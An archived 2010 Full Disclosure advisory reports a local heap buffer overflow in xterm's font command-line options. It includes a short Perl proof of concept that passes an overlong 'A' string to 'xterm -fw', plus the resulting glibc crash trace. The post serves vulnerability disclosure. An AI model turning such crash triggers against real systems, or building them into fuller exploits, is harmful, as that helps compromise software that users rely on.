Full Disclosure mailing list archives

[SecurityArchitect-008]: Xterm Local Buffer Overflow Vulnerability


From: musashi karak0rsan <karakorsankara () hotmail com>
Date: Wed, 1 Sep 2010 17:24:30 +0300


Product: Xterm
Vulnerability: Buffer Overflow (heap-based)
Credits: Celil Ünüver from SecurityArchitect.Org
Tested on: Ubuntu 10.04 and xterm(256) version
Details:
Xterm's "-fw , -fwb , -fb" command line options causes an overflow while writing long argument..
PoC:
# Contact: www.securityarchitect.org
$file = "A" x 500;
$print = "xterm -fw $file";
system $print;
Results:
pc@ubuntu:~/Masaüstü$ perl xterm.pl*** glibc detected *** xterm: munmap_chunk(): invalid pointer: 0x09f593a4 ***======= 
Backtrace: =========/lib/tls/i686/cmov/libc.so.6(+0x6b591)[0x2fd591]/lib/tls/i686/cmov/libc.so.6(+0x6c80e)[0x2fe80e]
Greets: hellcode                                          
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: